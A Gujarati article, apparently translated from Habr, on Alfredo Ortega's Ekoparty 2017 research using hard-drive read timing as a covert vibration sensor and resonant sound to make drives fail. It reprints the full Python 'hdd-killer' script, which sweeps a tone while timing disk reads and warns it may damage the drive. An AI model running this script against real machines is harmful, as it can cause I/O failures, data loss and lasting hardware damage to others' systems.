બ્યુનોસ એરેસમાં ઇકોપાર્ટી 2017 કોમ્પ્યુટર સુરક્ષા પરિષદમાં, આર્જેન્ટિનાના હેકર આલ્ફ્રેડો ઓર્ટેગાએ ખૂબ જ રસપ્રદ વિકાસ દર્શાવ્યો - માઇક્રોફોનનો ઉપયોગ કર્યા વિના જગ્યાના અપ્રગટ વાયરટેપિંગ માટેની સિસ્ટમ. ધ્વનિ સીધા હાર્ડ ડ્રાઈવ પર રેકોર્ડ!

HDD મુખ્યત્વે ઉચ્ચ-તીવ્રતાના ઓછા-આવર્તન અવાજો, પગલાઓ અને અન્ય સ્પંદનોને પસંદ કરે છે. માનવ વાણી હજુ સુધી ઓળખી શકાતી નથી, તેમ છતાં વૈજ્ઞાનિકો આ દિશામાં સંશોધન કરી રહ્યા છે (ઓછી-આવર્તન સ્પંદનો દ્વારા ભાષણની ઓળખ, જે રેકોર્ડ કરવામાં આવે છે, ઉદાહરણ તરીકે, ગાયરોસ્કોપ અથવા HDD થી).

ધ્વનિ એ હવા અથવા અન્ય માધ્યમનું સ્પંદન છે. એક વ્યક્તિ તેમને કાનના પડદા દ્વારા સમજે છે, જે સ્પંદનોને આંતરિક કાનમાં પ્રસારિત કરે છે. માઇક્રોફોન લગભગ કાનની જેમ ડિઝાઇન કરવામાં આવ્યો છે - અહીં પણ, પાતળી પટલ દ્વારા સ્પંદનો રેકોર્ડ કરવામાં આવે છે, જે વિદ્યુત આવેગને ઉત્તેજિત કરે છે. હાર્ડ ડ્રાઈવ, અલબત્ત, આસપાસની હવામાં વધઘટને કારણે માઇક્રોસ્કોપિક સ્પંદનોને પણ આધિન છે. HDDs ની તકનીકી લાક્ષણિકતાઓથી પણ આ જાણીતું છે: ઉત્પાદકો સામાન્ય રીતે મહત્તમ અનુમતિપાત્ર કંપન સ્તર સૂચવે છે, અને હાર્ડ ડ્રાઈવ પોતે ઘણીવાર તેને રબર અથવા અન્ય ઇન્સ્યુલેટીંગ સામગ્રીથી બનેલા વાઇબ્રેશન-પ્રૂફ કન્ટેનરમાં મૂકવાનો પ્રયાસ કરે છે. આના પરથી એ તારણ કાઢવું ​​સરળ છે કે HDD નો ઉપયોગ કરીને અવાજો રેકોર્ડ કરી શકાય છે. બાકી છે તે કેવી રીતે આકૃતિ.

આલ્ફ્રેડો ઓર્ટેગાએ સાઇડ-ચેનલ હુમલાના અનન્ય સંસ્કરણની દરખાસ્ત કરી, એટલે કે ટાઇમ એટેક. આ હુમલો એ ધારણા પર આધારિત છે કે આપેલ ઇનપુટ ડેટાના આધારે જુદા જુદા સમયે ઉપકરણ પર વિવિધ કામગીરી કરવામાં આવે છે. આ કિસ્સામાં, "ઇનપુટ ડેટા" એ રીડિંગ હેડ અને એચડીડી પ્લેટરના સ્પંદનો છે, જે પર્યાવરણના સ્પંદનો સાથે સંબંધ ધરાવે છે, એટલે કે અવાજ સાથે. આમ, ગણતરીના સમયને માપીને અને ડેટાનું આંકડાકીય વિશ્લેષણ કરીને, માથા/થાળીના સ્પંદનો અને તેથી માધ્યમના સ્પંદનોને માપી શકાય છે. ડેટા વાંચવામાં જેટલો લાંબો વિલંબ થશે, HDD સ્પંદનો વધુ મજબૂત અને તેથી, અવાજ જેટલો મોટો થશે.

હાર્ડ ડ્રાઈવ કંપન કેવી રીતે માપવા? ખૂબ જ સરળ: ફક્ત સિસ્ટમ કૉલ ચલાવો read () - અને તે પૂર્ણ થવામાં લાગે તે સમયને રેકોર્ડ કરો. આધુનિક ઓપરેટિંગ સિસ્ટમ્સ તમને નેનોસેકન્ડની ચોકસાઈ સાથે સિસ્ટમ કૉલ્સનો સમય વાંચવાની મંજૂરી આપે છે.

સેક્ટરમાંથી માહિતી વાંચવાની ઝડપ માથા અને પ્લેટરની સ્થિતિ પર આધારિત છે, જે HDD કેસના સ્પંદનો સાથે સંબંધ ધરાવે છે. બસ એટલું જ.

આંકડાકીય વિશ્લેષણ સરળ Kscope ઉપયોગિતાનો ઉપયોગ કરીને હાથ ધરવામાં આવે છે. જેમ તેઓ કહે છે, બુદ્ધિશાળી બધું સરળ છે.

Kscope ઉપયોગિતા (stat() syscall)

Kscope એ સિસ્ટમ કૉલ એક્ઝેક્યુશન સમયમાં નાના તફાવતોની કલ્પના કરવા માટે એક નાની ઉપયોગિતા છે. સ્ત્રોતGitHub પર પ્રકાશિત.

એક અલગ ભંડારમાં HDD-સમય હાર્ડ ડ્રાઈવ પર સમયના હુમલા માટે ગોઠવેલ યુટિલિટીનું વર્ઝન છે, એટલે કે, સિસ્ટમ કોલનું વિશ્લેષણ કરવા માટે ગોઠવેલ છે. read ().

HDD નો ઉપયોગ કરીને ધ્વનિ રેકોર્ડિંગનું પ્રદર્શન, Kscope ઉપયોગિતાનું સંચાલન

અલબત્ત, વાણી આ રીતે સમજી શકાતી નથી, પરંતુ વાઇબ્રેશન સેન્સર તરીકે HDD એકદમ યોગ્ય છે. ઉદાહરણ તરીકે, જો કોઈ વ્યક્તિ સખત પગરખાં પહેરે છે અથવા ઉઘાડપગું કમ્પ્યુટર સાથે રૂમમાં પ્રવેશ કરે છે તો તમે નોંધણી કરી શકો છો (કદાચ, જો હુમલાખોરે નરમ સ્નીકર્સ પહેર્યા હોય અથવા ફ્લોર પર જાડા કાર્પેટ હોય, તો HDD સ્પંદનોની નોંધણી કરી શકશે નહીં - આ તપાસવા યોગ્ય છે). કોમ્પ્યુટર તૂટેલા કાચ અથવા અન્ય ઘટનાઓને મજબૂત અવાજની તીવ્રતા સાથે નોંધવામાં સક્ષમ છે. એટલે કે, હાર્ડ ડ્રાઈવ એક પ્રકારની અનધિકૃત ઘૂસણખોરી શોધ સિસ્ટમ તરીકે સેવા આપી શકે છે.

HDD કિલર

માર્ગ દ્વારા, હાર્ડ ડ્રાઇવ્સને અક્ષમ કરવા માટે સમાન તકનીકનો ઉપયોગ કરી શકાય છે. ફક્ત અહીં આપણે HDD માંથી ઓસિલેશનને દૂર કરતા નથી, પરંતુ તેનાથી વિપરીત, અમે ઓસિલેશન જનરેટ કરીએ છીએ જે HDD ને આપવામાં આવે છે. જો તમે HDD આવર્તન સાથે પડઘો પાડતી આવર્તન પર સ્પીકરમાંથી અવાજ વગાડો છો, તો સિસ્ટમ ટૂંક સમયમાં I/O ભૂલ સાથે ઉપકરણને બંધ કરે છે (લિનક્સ કર્નલ 120 સેકન્ડ પછી HDDને સંપૂર્ણપણે બંધ કરે છે). હાર્ડ ડ્રાઈવ પોતે જ ઉલટાવી શકાય તેવું નુકસાન સહન કરી શકે છે.

Linux કર્નલ એ એડિફાયર r120u યુએસબી સ્પીકરના સ્પીકર દ્વારા રેઝોનન્ટ ફ્રીક્વન્સી પર ધ્વનિ પહોંચાડ્યાના 19 સેકન્ડ પછી હાર્ડ ડ્રાઇવને બંધ કરી દીધી. સ્પીકર લગભગ એક ક્વાર્ટર પાવર (100 mW કરતાં ઓછી) પર ચાલુ થાય છે અને HDD થી 20 સેમી દૂર સ્થિત છે, જેનો હેતુ સ્પંદનોને વધારવા માટે ટેબલ પર છે. થી ફ્રેમ વિડિઓ HDD કિલરના પ્રદર્શન સાથે

તે વિચિત્ર છે કે HDDs પર આવા "હુમલા" ક્યારેક રોજિંદા જીવનમાં અકસ્માત દ્વારા સંપૂર્ણપણે થાય છે. ઉદાહરણ તરીકે, સપ્ટેમ્બર 2016 માં, ING બેંક ડેટા સેન્ટરને ફાયર ડ્રિલ પછી 10 કલાક માટે કામગીરી સ્થગિત કરવાની ફરજ પડી હતી. ડઝનેક હાર્ડ ડ્રાઈવો નિષ્ફળ ગઈ છે ઉચ્ચ દબાણ હેઠળ સિલિન્ડરોમાંથી નિષ્ક્રિય ગેસ છોડવાના મોટા અવાજને કારણે. અવાજ ખૂબ જ મોટો હતો (130 ડીબીથી વધુ), પરંતુ તમે હાર્ડ ડ્રાઇવ્સ પર પણ બૂમો પાડી શકતા નથી - આ HDD ઍક્સેસ કરવામાં વિલંબને વધારે છે.

ડેટા સેન્ટરમાં હાર્ડ ડ્રાઈવ પર માનવ ચીસોનું પ્રદર્શન. લેટન્સી માપન

પડઘો પાડતો અવાજ ઉત્પન્ન કરવા માટે, આલ્ફ્રેડો ઓર્ટેગાએ પાયથોન સ્ક્રિપ્ટ લખી હતી એચડીડી-કિલર (વિડિઓ પ્રદર્શન).

HDD કિલર સ્ક્રિપ્ટ તે એકદમ નાનું છે, તેથી તમે તેને સંપૂર્ણ રીતે અહીં પ્રકાશિત કરી શકો છો.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

સોર્સ: www.habr.com